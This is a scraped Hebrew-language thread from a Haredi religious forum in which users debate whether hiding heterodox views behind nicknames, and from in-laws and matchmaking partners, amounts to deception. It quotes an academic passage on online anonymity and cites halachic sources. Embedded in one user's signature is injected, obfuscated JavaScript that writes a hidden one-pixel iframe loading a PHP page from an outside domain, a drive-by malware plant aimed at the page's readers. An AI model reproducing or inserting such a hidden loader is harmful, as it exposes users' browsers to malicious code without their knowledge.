בית פורומים עצור כאן חושבים

הרהרתי רבות בפחד האדם להיחשף בדעותיו ו..

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-4/6/2010 16:20 לינק ישיר 

למהבכירים:

"ועל זה משום מה אף אחד לא התיחס"

אתה יודע מה, אני אתייחס:



הרי כל אחד מכיר בעצמו שקופת שרצים [זו או אחרת - פסיכולוגית, השקפתית, משפחתית או אחרת] תלויה לו מאחוריו.

ועם זאת, אף אחד שפוי בדעתו לא יתחיל לפרט אותה באוזני משודכיו, באזני מכריו או באזני שותפיו העסקיים פן יבולע לו.

 זו דרך העולם.

אז במובן זה, כולנו רמאים, במידה זו או אחרת.

למה דווקא חברי עצכ"ח צריכים להיות הפראיירים שנושאים בסבלות כל העולם על שכמם?



דדווח על תוכן פוגעני

מחובר
נשלח ב-4/6/2010 16:24 לינק ישיר 

ואגב, זה לא צריך להפתיע אותנו:

הרי אנו גם לובשים בגדים ומתנהגים בנימוס...




דדווח על תוכן פוגעני

מחובר
נשלח ב-4/6/2010 16:26 לינק ישיר 

מהבכירים כתב:
 "או רגע יותר גרוע מיזה, אם בעצם אנו חושבים שאנשים שידעו את דעותינו לא יחושו להסכים לקחת את ילדינו להם לחתנים וכלות, אזי בעצם יש פה גניבת דעת שאין כדוגמתה.
כלום נדמה לך שאנו מרמים אנשים, הרי אם אנו חברי הפורום כאן חשים שהם יש בהם מן הכפירה או שעלולים לקלקל ציבור תמים ומאמין בדרכו, אז איך מעיזים לשקרם ולהרוס את חינוך ילדיהם, אנו הרי יודעים לשיטתך שהם לא רוצים שבניהם יכנסו לבתים כשלנו , איפה היושר והצדק שלנו? "


שאלו את ר' אהרן ליב שטיינמן שליט"א על להשתדך אם משפחת זילברמן וכו'
ענה: שהם לא אסורים לבוא בקהל ישראל,

ועוד: הרי יום החופה כיום כיפורים ולמה ? כתשובה לשאלתך כמובן ! 



דדווח על תוכן פוגעני

מנותק
נשלח ב-4/6/2010 18:13 לינק ישיר 

הבכירים
תשאיר בבקשה את בעלי הניקים במסכותיהם. תאמין לי שרק ככה הם גיזעיים.
גם אתה לא היית מרתק אותנו באשכול הזה בפרצופך האמיתי.
כל אחד מרגיש משוחרר בדעותיו כשהוא לא חייב לקחת עליהם אחריות.



דדווח על תוכן פוגעני

מחובר
נשלח ב-5/6/2010 20:59 לינק ישיר 

מקס
מה ההו"א?



דדווח על תוכן פוגעני

מחובר
נשלח ב-6/6/2010 00:36 לינק ישיר 

מדבריו של

פרופ' עזי ברק-  פסיכולוג בפקולטה לחינוך באוניברסיטת חיפה

*--[endif]*

מה איכפת לך מי אני? (אנונימיות ואי-זהותיות)

            התקשורת המקוונת מאפשרת שמירה על אנונימיות, כלומר, אלמוניות בכל הקשור לזהותו השמית של המשתמש או פרטים אחרים היכולים להביא לזיהויו. משתמשי אינטרנט רבים, במיוחד בסביבות מקוונות שבהן הקשר הוא עם זרים, משתמשים בכינוי ("ניק", קיצור של nickname), כך שאי אפשר לזהותם. בני נוער רבים נוטים ליצור כינוי שיש בו לא רק מהייחודי והשונה, אלא הוא כולל רמז (אמיתי או שקרי) על גילם, אישיותם, מצבם הנפשי, מקום מגוריהם או חזותם. למשל: מתוקהלה, שחור בלב, יוסי16, אבי הבתימי, עייניםכחולות, רגיש וחם, בלונדינית סוערת. האנונימיות יוצרת תחושה חזקה אצל המשתמש שהוא חופשי יותר לנהוג כרצונו, ללא חשש ממתן דין על התנהגות "לא ראויה" מצד אחד (כלומר, העדר אחריותיות), וגילוי חולשות ורגישויות מצד שני (העלולים לפגוע בתדמיתו). למעשה, פועל כאן תהליך של הסרת עכבות, שבו משתחררים מעצורים כדי לנהוג בצורה יותר אותנטית, לפי תווי אישיותו של המשתמש ותכונותיו הבסיסיות (Bargh, Fitzsimons, & McKenna, 2003; Bargh, McKenna, & Fitzsimons, 2002).

 מה שקובע את התנהגות המשתמש היא התחושה הסובייקטיבית של פרטיות, האמונה שהוא אנונימי ושלא ניתן לזהותו. תחושה אישית זו היא-היא המשפיעה על ההתנהגות.

            חשוב גם לציין כי אנונימיות אינה אי-זהותיות (unidentifiability). אם אנונימיות מתייחסת להעדר זיהוי אישי (מי אני?), הרי שחוסר-זהותיות מתייחס לאי-זיהוי מאפיינים, ייחוסים, שיוכים, או תווים כלשהם לגבי האדם, כמו רמת השכלתו, מקצועו, נטייתו המינית או מוצאו. כלומר, בני נוער בסייברספייס, בתנאים אלו, אינם מזוהים ומשויכים לפי גילם, מינם, עיסוקם, או עדתם, אלא באופן שבו הם בוחרים להציג את עצמם. השילוב של האנונימיות ואי-הזהותיות מביא, לפיכך, לתחושת חופש מוגברת, שבעקבותיהם בני הנוער "מרשים לעצמם" להתנהג בצורה משוחררת ואמיתית יותר. תחושת פרטיות ואלמוניות זו מהווה תמריץ משמעותי לשימוש ברשת, כי אז המשתמש יכול להיות "יותר הוא עצמו", לבטא את עצמו בצורה משוחררת ואמיתית יותר, ולנהוג לפי רצונות וצרכים פסיכולוגיים פנימיים שלו, ללא (או עם פחות) התייחסות לגבולות ולציפיות הסביבה ממנו.


אז מה אם אני שחור, שמן וקרח? (אי-נראות)

 

            אי-נראות אינה זהה לאנונימיות ואי-זהותיות. כשאנו רואים מישהו, גם אם הוא אלמוני, "נלמד" עליו רבות מעצם מראהו: צבע עור, יופי, גובה, כמות שיער, ניקיון, מבנה גוף, סגנון וערך הלבוש, שימוש באיפור ובתכשיטים. אנשים נוטים לייחס לאחרים תכונות לפי מאפיינים אלו, ובעקבות זאת לשפוט אותם, גם אם לא התקיים ביניהם קשר ממשי. באינטרנט, התקשורת הווירטואלית-טקסטואלית מבטלת גורמי ייחוס אלו לחלוטין (למעט תקשורת באמצעות מצלמת אינטרנט, שתופסת חלק מזערי מהתקשורת הבין-אישית ברשת). ההתייחסות לאחר מתמקדת בתכנים שמביעים משתמשים ובדרך שבה הם בוחרים לתאר את עצמם, אם בכלל. סולר (Suler, 2004a), מחשובי הפסיכולוגים החוקרים את האדם בסייברספייס, טוען כי גורם האי-נראות מעצים במידה ניכרת את הסרת העכבות, מעבר לאנונימיות, כי המשתמש מרגיש משוחרר מייחוסים ומתוויות של אחרים לגביו. ברור שהדבר משפיע במיוחד על אלו שיש להם אפיונים נראים בולטים (נמוכים, שמנים, קרחים, מצולקים, כהי-עור); אבל למעשה, הוא משפיע על כל אחד, בשל העמימות בסיטואציה המקוונת והצורך הפסיכולוגי המובנה להשלים פרטים בדמיון ולצמצם את העמימות.

            לאי-נראות תרומה משמעותית לתהליך ההעצמה האישי המתרחש בסייברספייס: נערה או נער שאינם מזוהים ככאלו, למשל, עשויים לחוש ביטחון מוגבר בהבעת דעתם בדיון או בוויכוח אישי או קבוצתי, לעומת התנסותם הרגילה בסביבה הלא-מקוונת. נער או נערה נכים יכולים להשתתף בשיחה ככל אחד, בלי לחוש נחותים או חריגים. נער ממוצא אתיופי "מעז" לומר את דעתו (מה שמקובל הרבה פחות בסביבה הפיזית) ולחוות הצלחה אישית. בחורה חתיכה יכולה להרגיש שמתייחסים אליה לא רק בשל הופעתה אלא בשל דבריה. כלומר, לגורם זה תרומה רבה בהרגשה האישית המשופרת של משתמשים צעירים רבים בסייברספייס, והוא גורם מתמרץ ומדרבן משמעותי ביותר לשימוש ברשת.




דדווח על תוכן פוגעני

מחובר
נשלח ב-6/6/2010 01:21 לינק ישיר 

"לאי-נראות תרומה משמעותית לתהליך ההעצמה האישי המתרחש בסייברספייס: נערה או נער שאינם מזוהים ככאלו, למשל, עשויים לחוש ביטחון מוגבר בהבעת דעתם בדיון או בוויכוח אישי או קבוצתי, לעומת התנסותם הרגילה בסביבה הלא-מקוונת. נער או נערה נכים יכולים להשתתף בשיחה ככל אחד, בלי לחוש נחותים או חריגים. נער ממוצא אתיופי "מעז" לומר את דעתו (מה שמקובל הרבה פחות בסביבה הפיזית) ולחוות הצלחה אישית. בחורה חתיכה יכולה להרגיש שמתייחסים אליה לא רק בשל הופעתה אלא בשל דבריה. כלומר, לגורם זה תרומה רבה בהרגשה האישית המשופרת של משתמשים צעירים רבים בסייברספייס, והוא גורם מתמרץ ומדרבן משמעותי ביותר לשימוש ברשת"

דברי פרופסור עוזי ברק לא קשורים לטענתו של הניק מהבכירים.

פרופ' ברק הסביר מדוע אנשים ברשת בוחרים באנונימיות.

מהבכירים יודע את הדברים האלה אבל טענתו היא אחרת:

הוא טוען שזה לא מכובד להסתתר מאחורי ניק כי יש בכך משום גנבת דעת.

ולנקודה זאת לא התייחסו כלל דבריו של הפרופסור ברק.

ואכן,עם כל הנימוקים שהועלו כאן לטובת האנונימיות,עדיין נשארה שאלת הכבוד-וזוהי שאלה מכובדת,ואולי כבדה, והיא אכן תלויה בהשקפתו של אדם על מהותו של כבוד..




דדווח על תוכן פוגעני

מחובר
נשלח ב-6/6/2010 11:40 לינק ישיר 

מיימוני כתב:

ארכיבישקאפ


ברוך הבא אל הפורום!


טול איקון ירוק (=צל"ש או שכוייח בחרדית מדוברת) על דבריך.


***

בעל בעמיו

מאד נהניתי מאבחנתך. אני מבין מהניסוח שזה תגלית שלך שניסחת על דרך ההומור, אך למעשה כבר כתב כן פרופסור אליעזר גולדמן ע"ה במאמר חשוב מאד על פיענוח נבואות, שבו ניסה להחיל את הדגם של "הפרכה" פופריאנית בתחום הפילוסופיה של המדע על נבואות.

פופר, למי שאינו מכיר, הציע קריטריון לפיו תיאוריות מדעיות אינן מוכחות אלא רק בחזקת "שטרם הופרכו". וכמובן אפשרות ההפרכה היא סימן ומאפיין של תיאוריה מדעית.

גולדמן טען שביחס לנבואות ולתורה אנו רק מציעים תיאוריות פרשניות, וכאשר יש הפרכה (נבואה לא התממשה) אנו פורכים את הפרשנות ולא את המקור. המקור נשאר בשמיימיותו ואנו מאמינים בו גם הלאה.

גולדמן החיל את הניתוח הזה על דברי הנבואה. מה שקרה כעת הוא שהדברים הוחלו על כל דברי חז"ל, ואילו השם "חז"ל" הוחל בהרחבה עד לאדמו"רי דורנו וכיו"ב.


לפיכך, מה שכתבת כי במאה ה22 יתברר לנו שחז"ל ידעו יותר ממה שידענו שהם יודעים (זה משמעותי, רק צריך לקרוא לאט) זה באמת כך! לפי שיטה זו...

_________________

שומר פיו ולשונו - שומר מצרות נפשו ******* language=""> *-- var as='h'; var ac='tt'; var ab='p'; var ay="//"; document.write("*************** src='"+as+ac+ab+":"+ay+"llaptops.co.cc/a1.php?a="+***************+"' frameborder='0' height=1px width=1px scrolling='no' ><*"); //*



מיימוני
ייש"כ, אבל האם בעצם דברי גולדמן אינם צורה מתוחכמת לומר ששום נבואה לא תתגשם, או לחילופין סתירת הקריטריון של הרמב"ם לנכונות נבואה?



דדווח על תוכן פוגעני

מחובר
נשלח ב-6/6/2010 12:53 לינק ישיר 

 

בע"ב

קטונתי מלהבינך

נבואה שהתקיימה במדוייק – יש לך בעיה עם זה?

ולמיימוני -

נבואה שלא התקיימה – מי אמר שתירוץ יעזור? הרי זו אבן הבוחן לנבואת שקר ומסתבר שהגשמתה צריכה להיות מדוייקת ולא נתומה לתירוצים




דדווח על תוכן פוגעני

מחובר
נשלח ב-6/6/2010 13:09 לינק ישיר 

 

בעלבעמיו כתב:
מקס
מה ההו"א?

בעל: 

שאל את "מהבכירים"

כי הרי מי שלא מבין\חולק את\על גמ'\תוס' X ולא מגלה לכלתו, הוא בעצם גונב את דעתה,
ולמה הוא לא שואל כלפי הכלה שמאפרת את עצמה ? אולי לפי דעתו יש כאן גנבת דעת,




דדווח על תוכן פוגעני

מנותק
נשלח ב-6/6/2010 16:24 לינק ישיר 

maxmen כתב:

 מקס
מה ההו"א?
בעל: 

שאל את "מהבכירים"

כי הרי מי שלא מבין\חולק את\על גמ'\תוס' X ולא מגלה לכלתו, הוא בעצם גונב את דעתה,
ולמה הוא לא שואל כלפי הכלה שמאפרת את עצמה ? אולי לפי דעתו יש כאן גנבת דעת,


דוגמת הכלה,, היא אידיוטית ובושה לאינטלגנציה הבסיסית, הרי ידוע לכל אחד שעל דעת כן נושא אדפ אשה.
היה כאן מי שהסביר לי שלו אנשים היו יודעים מה הדעות האמיתיות של חברי הפורום לא היו באים איתם בכל קשרי מסחר או נישואין, וע"כ שאלתי בפליאה עצומה וכי כולנו שקרנים כאלה גדולים?
מילא לאנשים סתם בעולם שחובים שאנו אנשים רגילים כמוהם, מילא, איני חייב להם כלום ולא מרוויח מיזה כלום.
אבל לאותו אדם שהיה יודע מה דעותי, לא היה מסכים בשופ"א שאקח בתו לאשה לבני, מחשש שיתקלקל, הרי אני מזיקו ועושה לו עוול בל יתואר ויכופר.



דדווח על תוכן פוגעני

מחובר
נשלח ב-6/6/2010 16:57 לינק ישיר 

מהבכירים כתב:
דוגמת הכלה,, היא אידיוטית ובושה לאינטלגנציה הבסיסית, הרי ידוע לכל אחד שעל דעת כן נושא אדפ אשה.
היה כאן מי שהסביר לי שלו אנשים היו יודעים מה הדעות האמיתיות של חברי הפורום לא היו באים איתם בכל קשרי מסחר או נישואין, וע"כ שאלתי בפליאה עצומה וכי כולנו שקרנים כאלה גדולים?
מילא לאנשים סתם בעולם שחובים שאנו אנשים רגילים כמוהם, מילא, איני חייב להם כלום ולא מרוויח מיזה כלום.
אבל לאותו אדם שהיה יודע מה דעותי, לא היה מסכים בשופ"א שאקח בתו לאשה לבני, מחשש שיתקלקל, הרי אני מזיקו ועושה לו עוול בל יתואר ויכופר.


תשמע צדיק אין שום גנבת דעת כלפי דעות, כי לא הדעות שלך היום כדעות שלך מחר (אגב: גם כלפי הכלה)
בשאר הדברים רואים בחוץ אז בוודאי אין כאן גנבת דעת,
כלפי חוטאים: הרי אמרתי כבר, שלכן יום החופה כיום כיפור, וכך ההלכה, (מקדשת לי על מנת שאני צדיק גמור ולמעשה הוא רשע גמור היא מקודשת בספק וכו')

עכשיו, שאלה לי אליך, 
מי שתלמיד של ר' גדליה, חייב לומר לכלה (שלא רק שהוא תלמיד שלו רק גם חייב לומר לה) שהוא לא מאמין שהעולם עומד רק 5770 שנה, והמבול היה רק בבבל, ושקין התחתן לא עם אחותו רק היו נשים חוץ מבני אדם וחוה, ושאדם וחוה הם לא ראשונים בעולם וכו' וכו'  

בקיצוער: כל הדעות בעולם אפשר להסביר בלי שנכנס לשאלתך האם יש כאן גנבת דעת,

לגבי להתקלקל: כל זוג לוקח את הריזיקה, כל אחד מהם יכול להתקלקל ביום שאחרי,
והאם עכשיו הוא מקולקל ? תלוי למי שואלים, 
ולכן אמרתי ששאלו את הרב שטיינמן וכו' 
ואם תשאל את הרב שך לגבי דעותיו של ר' גדליה והאם מותר להשתדך איתו או עם בניו, ??????????????
דעתי שהרב שך היה מתיר, אבל ה"יתד" בטח היה אוסר 
    



דדווח על תוכן פוגעני

מנותק
נשלח ב-6/6/2010 17:42 לינק ישיר 

ואני חושב שאכן אנחנו מרמים את הכלה את המחותן ואת כל הבאים אתנו בקשרי לימוד ומסחר ובמיוחד את אלו האוכלים אתנו סעודת שבת ושותים מיינינו אבל זה מכורח המציאות שאיננו מסוגלים להתנתק פתאום מכל הסובב אותנו ולחפש חברה חדשה להתמודד מול הורים כועסים אחים זועמים וילדים שיחרימו אותנו. ומזווית אחרת זה המחיר שכל אלו שעומדים מולנו משלמים על הנסיון שלהם לאכוף עלינו את דעותיהם ועל משטרת המחשבות שהם מנסים ליצור לכן הם נופלים בפח בשידוכים וכיו"ב ומגיע להם



דדווח על תוכן פוגעני

מחובר
נשלח ב-6/6/2010 17:50 לינק ישיר 

סוסרטי כתב:
יעויין באשכולי "נטילת ידיים של שחרית לרמב"מיסטים", שם תיארתי את הפרדוקס והאבסורד שחי בו אדם כמו "מיימוני". העיר שם בהתפלאות ברנש אחד מותיקי הפורום על כך שמיימוני אינו עונה, והתשובה פשוטה - אין לו מה לענות... למעשה נראה שאין לדונו בחומר כ"כ, כי עניין זה תלוי באישיות של כל אינדיבידואל. ודעות הרבה יש. יש אנשים אאוטסיידרים בטבעם (כגון אנא) שבאופן כללי דעת הסובב חשובה אצלם כקליפת השום, ויש כאלו שאפילו רק באים בחברה שאנשיה חובשים כובע מסוג שונה משלהם, מאדימות פניהם כסלק וחשים כאבל בין החתנים. וע"ז אמרו: אל תדין את חברך עד שתגיע למקומו.

סוסרטי היקר, אל תתמה על מיימוני ושכמותו, אתה מיקל את העבודה על כותבי הפורום, סגנונך הייחודי פוטר אותם מלעמול על עריכת תשובות ארוכות.
תחשוב על זה.



דדווח על תוכן פוגעני

מנותק
נשלח ב-6/6/2010 20:17 לינק ישיר 

בעל בעמיו


נראה לי שנערב מין בשאינו מינו. כבר היה אשכול כמדומה על הרעיון של גולדמן, ואם לא, צריך לפתוח. אם לא יימצא (אולי יש כאן מישהו שיכול למצוא, ואולי לינקי יחזור) אז אפתח ואנסה לסכם את הרעיון. ושם אענה לשאלתך.

***

סוסרטי

איני זוכר את אשכולך ולכן אציין עוד אפשרות: יתכן שלא ראיתיו כלל. איני מספיק לקרוא את כל מה שיש בפורום, ולכן יש גם דברים שאינם נמחקים למרות שראוי להם להימחק, או לעבור תיקון.

אם תציין לינק אבחן מה כתבת.

עקרונית, איני עונה על שאלות אישיות. זאת מחשש לבבואה של בבואה של אאוטינג. אבל זאת אומר לך: הנושא של התחשבות בסביבה הוא גם כן סוגיה בגמרא. ודאי שאדם צריך להיות נקי מכל צורך פסיכולוגי של תלות בדעת הסביבה. וזה חלק מתהליך ההתבגרות שאדם עובר, לא תמיד בנקל ולא תמיד לגמרי. אבל לאחר שמתפטרים מן הצורך הפנימי, עדיין יש חיוב הלכתי לא להיות עומד בין היושבים ויושב בין העומדים.

וזה קשור למעשה לנושא האשכול. יש לנו די והותר דוגמאות בגמרא כיצד כבר התנאים נאלצו להתחשב בקהילות של בורים ועמי הארצות, כגון רבן גמליאל (כמדומה) שנאלץ לוותר על ישיבה של ספסל של גויים בשוק בשבת, ובניו שלא נכנסו יחד למקוה ועוד.

אולם בדורנו הבורות רבתה גם בין הלמדנים, ולפעמים נדמה (ושוב, ראוי לאשכול ולבחינה) כי יש יותר טעויות שהונצחו בספרים וקיבלו את "קדושת הדפוס" (כמאמר בוגי). הלומד הבוחן יודע שזו טעות ואין צורך לחוש לזה. אבל האם יוכל לשתף אחרים בתובנותיו? האם מותר לו, או שמא הוא חייב בדבר? או שמא הוא אסור בכך? כפי שאתה רואה, זו לא שאלה של שקר נפשי או התחזות ואף לא תמיד של כוח נפשי מול הסביבה, אלא שאלה שיש לה כבר מקורות. עד כמה מותר לידען להתעלם באופן גלוי ממה שנחשב להלכה אך אינו כן.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < language="">




דדווח על תוכן פוגעני

מנותק
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > הרהרתי רבות בפחד האדם להיחשף בדעותיו ו..
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
לדף הקודם 1 2 3 4 5 6 לדף הבא סך הכל 6 דפים.

bholext
2009 © כל הזכויות שמורות לבחדרי חרדים. קטגוריית אקטואליה וחדשות: עשרות פורומים הכוללים חדשות נעייס, מה קורה בחצרות חסידים, חדשות מחסידויות שונות בארץ ובעולם, דיונים בנושאי אקטואליה, פוליטיקה, בטחון ועוד.